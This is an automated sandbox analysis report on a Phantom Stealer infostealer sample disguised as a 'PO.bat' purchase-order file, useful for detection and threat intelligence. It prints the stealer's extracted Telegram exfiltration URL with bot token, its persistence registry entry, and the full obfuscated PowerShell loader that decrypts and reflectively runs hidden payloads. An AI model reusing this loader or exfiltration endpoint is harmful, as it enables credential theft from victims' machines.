phantom_stealer | 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea

Analysis

max time kernel
149s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
11/05/2026, 14:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO.bat
Size 770KB
Sample260511-rvxpracv4y
SHA256 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea
MD5 d6d307304d54128d602a2197ebf971e3
SHA1 2e3666d8ffa10c67e470f8c0062e51fec6709b27
SHA512 ac7ad61cd4464f599c48460f5e3fcccc8e0dd6b8a1960ebf529a99f7b23927f68a0483eac28bceaca06ba6283a5aec6feac67a57853abe88c5abe73f2babcdef
SSDEEP 24576:FgpEcY6oleENsUSt2ZDqjWWg3sAo68ANW:+8PA0DqjJt
TLSH
T1A5F423924BCF4EBD24F7C82E7A17776DF3828BF18BB5D5E80685708E106D94EAD40905
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection execution phantom_stealer persistence stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

https://api.telegram.org/bot8525743193:AAFzcKe-c_Gl8aPJeRpTZX7VXqRcLiOSSPk/sendMessage?chat_id=7217111340

Mutex

OJ4LOG4CT9SG44FHNNJG

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
1
keylogger
1
start_delay
0
startup
1

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 3 IoCs

resource	yara_rule
behavioral2/memory/5228-12-0x000001AA788E0000-0x000001AA7899E000-memory.dmp	family_phantomstealer
behavioral2/memory/5032-112-0x00000291826E0000-0x000002918279E000-memory.dmp	family_phantomstealer
behavioral2/memory/4744-252-0x000002867F740000-0x000002867F7FE000-memory.dmp	family_phantomstealer

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
32	5228	powershell.exe
33	5228	powershell.exe
34	5228	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4348	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Roaming\\powershell.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5228	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	icanhazip.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
5228	powershell.exe
5228	powershell.exe
4348	powershell.exe
4348	powershell.exe
5228	powershell.exe
5228	powershell.exe
3028	chrome.exe
3028	chrome.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
3984	firefox.exe
3984	firefox.exe
5228	powershell.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5228	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
3028	chrome.exe
3028	chrome.exe
5788	msedge.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe
3984	firefox.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3984	firefox.exe
5228	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5336 wrote to memory of 5228	5336	cmd.exe	79
PID 5228 wrote to memory of 3028	5228	powershell.exe	83
PID 3028 wrote to memory of 5032	3028	chrome.exe	84
PID 3028 wrote to memory of 2192	3028	chrome.exe	85
PID 3028 wrote to memory of 5300	3028	chrome.exe	86
PID 3028 wrote to memory of 4996	3028	chrome.exe	87
PID 5228 wrote to memory of 5032	5228	powershell.exe	84
PID 5228 wrote to memory of 5032	5228	powershell.exe	84
PID 3028 wrote to memory of 4908	3028	chrome.exe	88
PID 3028 wrote to memory of 1532	3028	chrome.exe	89
PID 3028 wrote to memory of 4184	3028	chrome.exe	90
PID 3028 wrote to memory of 2160	3028	chrome.exe	91
PID 3028 wrote to memory of 3236	3028	chrome.exe	92
PID 3028 wrote to memory of 1644	3028	chrome.exe	93
PID 3028 wrote to memory of 5472	3028	chrome.exe	95
PID 5228 wrote to memory of 5788	5228	powershell.exe	96
PID 5788 wrote to memory of 4744	5788	msedge.exe	97
PID 5228 wrote to memory of 4744	5228	powershell.exe	97
PID 5228 wrote to memory of 4744	5228	powershell.exe	97
PID 5788 wrote to memory of 1740	5788	msedge.exe	99
PID 5788 wrote to memory of 2360	5788	msedge.exe	100
PID 5788 wrote to memory of 5660	5788	msedge.exe	101
PID 5788 wrote to memory of 5596	5788	msedge.exe	102
PID 5788 wrote to memory of 5312	5788	msedge.exe	103
PID 5788 wrote to memory of 5012	5788	msedge.exe	104
PID 5788 wrote to memory of 4960	5788	msedge.exe	105
PID 5788 wrote to memory of 5048	5788	msedge.exe	106
PID 5788 wrote to memory of 440	5788	msedge.exe	107
PID 5788 wrote to memory of 3212	5788	msedge.exe	108
PID 5788 wrote to memory of 5852	5788	msedge.exe	109
PID 5788 wrote to memory of 5848	5788	msedge.exe	110
PID 5788 wrote to memory of 2668	5788	msedge.exe	111
PID 5788 wrote to memory of 2872	5788	msedge.exe	112
PID 5788 wrote to memory of 2000	5788	msedge.exe	113
PID 5788 wrote to memory of 1132	5788	msedge.exe	114
PID 5788 wrote to memory of 2660	5788	msedge.exe	115
PID 5788 wrote to memory of 1416	5788	msedge.exe	116
PID 5788 wrote to memory of 6000	5788	msedge.exe	117
PID 5228 wrote to memory of 484	5228	powershell.exe	118
PID 484 wrote to memory of 3984	484	firefox.exe	119
PID 484 wrote to memory of 3984	484	firefox.exe	119
PID 3984 wrote to memory of 780	3984	firefox.exe	120
PID 3984 wrote to memory of 780	3984	firefox.exe	120
PID 3984 wrote to memory of 780	3984	firefox.exe	120
PID 5228 wrote to memory of 780	5228	powershell.exe	120
PID 5228 wrote to memory of 780	5228	powershell.exe	120
PID 3984 wrote to memory of 1692	3984	firefox.exe	121
PID 3984 wrote to memory of 1692	3984	firefox.exe	121
PID 3984 wrote to memory of 1692	3984	firefox.exe	121
PID 3984 wrote to memory of 1692	3984	firefox.exe	121
PID 3984 wrote to memory of 420	3984	firefox.exe	122
PID 3984 wrote to memory of 2584	3984	firefox.exe	123
PID 3984 wrote to memory of 2584	3984	firefox.exe	123
PID 3984 wrote to memory of 2584	3984	firefox.exe	123
PID 3984 wrote to memory of 5452	3984	firefox.exe	124
PID 3984 wrote to memory of 2244	3984	firefox.exe	125
PID 3984 wrote to memory of 2244	3984	firefox.exe	125
PID 3984 wrote to memory of 2244	3984	firefox.exe	125
PID 3984 wrote to memory of 3228	3984	firefox.exe	126
PID 3984 wrote to memory of 4944	3984	firefox.exe	127
PID 3984 wrote to memory of 4944	3984	firefox.exe	127
PID 3984 wrote to memory of 4944	3984	firefox.exe	127
PID 3984 wrote to memory of 4468	3984	firefox.exe	128
PID 3984 wrote to memory of 4468	3984	firefox.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5336
- C:\Windows\system32\windowspowershell\v1.0\powershell.exe
  "C:\Windows\system32\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function JWhhF($HBguE){ $BuSjs=New-Object System.IO.MemoryStream(,$HBguE); $pKszH=New-Object System.IO.MemoryStream; $QVWHm=New-Object System.IO.Compression.GZipStream($BuSjs, [IO.Compression.CompressionMode]::Decompress); $QVWHm.CopyTo($pKszH); $QVWHm.Dispose(); $BuSjs.Dispose(); $pKszH.Dispose(); $pKszH.ToArray();}function rnxZy($HBguE){ $GFgyM=[System.Security.Cryptography.Aes]::Create(); $GFgyM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GFgyM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GFgyM.Key=[System.Convert]::FromBase64String('P3b8w+XWvlb+xnmKZ0IX5gpqxjenZMthhOwCNx7s0ms='); $GFgyM.IV=[System.Convert]::FromBase64String('+kCZYyNRLWxH/gHcfoZbiw=='); $TnlmJ=$GFgyM.CreateDecryptor(); $vVMRk=$TnlmJ.TransformFinalBlock($HBguE, 0, $HBguE.Length); $TnlmJ.Dispose(); $GFgyM.Dispose(); $vVMRk;}function HhXJC($HBguE,$WHFAZ){ $VeLPH=[System.Reflection.Assembly]::Load([byte[]]$HBguE); $QEYtP=$VeLPH.EntryPoint; $QEYtP.Invoke($null, $WHFAZ);}$yIFuK = 'C:\Users\Admin\AppData\Local\Temp\PO.bat';$host.UI.RawUI.WindowTitle = $yIFuK;$VZfyP=[System.IO.File]::ReadAllText($yIFuK).Split([Environment]::NewLine);foreach ($MYBKT in $VZfyP) { if ($MYBKT.StartsWith('gTUwHhAwMtNdExrcOdcv')) { $aQvps=$MYBKT.Substring(20); break; }}$HzcLp=[string[]]$aQvps.Split('\');$LSNXi=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[0].Replace('#', '/').Replace('@', 'A'))));$zEXWX=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[1].Replace('#', '/').Replace('@', 'A'))));HhXJC $LSNXi $null;HhXJC $zEXWX (,[string[]] (''));"
  2⤵
  - Badlisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:5228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffe23c7dcf8,0x7ffe23c7dd04,0x7ffe23c7dd10
      4⤵
      PID:5032
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1884,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=1880 /prefetch:2
      4⤵
      PID:2192
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --field-trial-handle=1964,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:11
      4⤵
      PID:5300
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --field-trial-handle=2120,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:13
      4⤵
      PID:4996
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2788,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:1
      4⤵
      PID:4908
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2800,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:1
      4⤵
      PID:1532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3292,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:1
      4⤵
      PID:4184
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3308,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=2756 /prefetch:9
      4⤵
      PID:2160
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3340,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:1
      4⤵
      PID:3236
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3364,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:9
      4⤵
      PID:1644
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=3960,i,3573645913063205510,1818981831313443598,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:1
      4⤵
      PID:5472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x250,0x7ffe1226f208,0x7ffe1226f214,0x7ffe1226f220
      4⤵
      PID:4744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=3096,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:2
      4⤵
      PID:1740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --always-read-main-dll --field-trial-handle=1768,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:11
      4⤵
      PID:2360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --always-read-main-dll --field-trial-handle=2160,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:13
      4⤵
      PID:5660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2952,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:1
      4⤵
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2960,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
      4⤵
      PID:5312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --always-read-main-dll --field-trial-handle=3252,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:14
      4⤵
      PID:5012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --always-read-main-dll --field-trial-handle=3240,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3356 /prefetch:14
      4⤵
      PID:4960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --always-read-main-dll --field-trial-handle=3284,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:14
      4⤵
      PID:5048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3312,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:1
      4⤵
      PID:440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
